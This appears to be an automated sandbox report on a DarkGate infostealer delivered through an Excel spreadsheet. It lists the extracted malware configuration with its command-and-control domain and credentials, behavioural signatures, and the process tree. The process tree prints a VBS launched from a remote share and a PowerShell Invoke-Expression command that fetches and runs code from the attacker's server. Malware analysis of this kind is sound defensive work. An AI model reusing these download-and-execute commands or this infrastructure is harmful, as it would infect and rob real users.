Analysis
- max time kernel
151s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
20/03/2024, 11:41
General
- Target march19-D1482-2024.xlsx
- Size 56KB
- Sample240320-nts4dsff84
- SHA256 efb106418264f96ba251321a5c3ed8a191e3b8123f647d4ccf8c08d5447d03f6
Malware Config
Extracted
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darkgate
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admin888
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badbutperfect.com
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anti_analysis
true
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anti_debug
false
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anti_vm
true
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c2_port
80
-
check_disk
false
-
check_ram
false
-
check_xeon
false
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crypter_au3
false
-
crypter_dll
false
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crypter_raw_stub
false
-
internal_mutex
WZqqpfdY
-
minimum_disk
50
-
minimum_ram
4000
-
ping_interval
6
-
rootkit
false
-
startup_persistence
true
-
username
admin888
Signatures
- DarkGate
DarkGate is an infostealer written in C++.
- Detect DarkGate stealer 2 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\march19-D1482-2024.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\rimz\AutoHotkey.exe"C:\rimz\AutoHotkey.exe" script.ahk4⤵
- Executes dropped EXE
- Checks processor information in registry
-
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/rimz4⤵
- Views/modifies file attributes
-
-
-
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4148 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_iayzo10j.5ei.ps1
AutoHotkey.exe
script.ahk
test.txt
memory/3552-21-0x00007FFAC1010000-0x00007FFAC1020000-memory.dmp
memory/3552-23-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-7-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-6-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp
memory/3552-8-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-36-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-10-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-12-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-11-0x00007FFAC1010000-0x00007FFAC1020000-memory.dmp
memory/3552-13-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-14-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-15-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-16-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-17-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-18-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-19-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-0-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp
memory/3552-20-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-5-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-22-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-9-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/3552-1-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp
memory/3552-3-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp
memory/3552-2-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp
memory/3552-4-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp
memory/4492-49-0x00000209F5B30000-0x00000209F5B40000-memory.dmp
memory/4492-50-0x00000209F6200000-0x00000209F63C2000-memory.dmp
memory/4492-53-0x00007FFADB810000-0x00007FFADC2D1000-memory.dmp
memory/4492-54-0x00000209F5B30000-0x00000209F5B40000-memory.dmp
memory/4492-55-0x00000209F5B30000-0x00000209F5B40000-memory.dmp
memory/4492-56-0x00000209F5B30000-0x00000209F5B40000-memory.dmp
memory/4492-48-0x00000209F5B30000-0x00000209F5B40000-memory.dmp
memory/4492-70-0x00007FFADB810000-0x00007FFADC2D1000-memory.dmp
memory/4492-47-0x00007FFADB810000-0x00007FFADC2D1000-memory.dmp
memory/4492-37-0x00000209DD930000-0x00000209DD952000-memory.dmp
memory/4644-75-0x0000000004C50000-0x0000000004CC3000-memory.dmp
memory/4644-77-0x0000000004C50000-0x0000000004CC3000-memory.dmp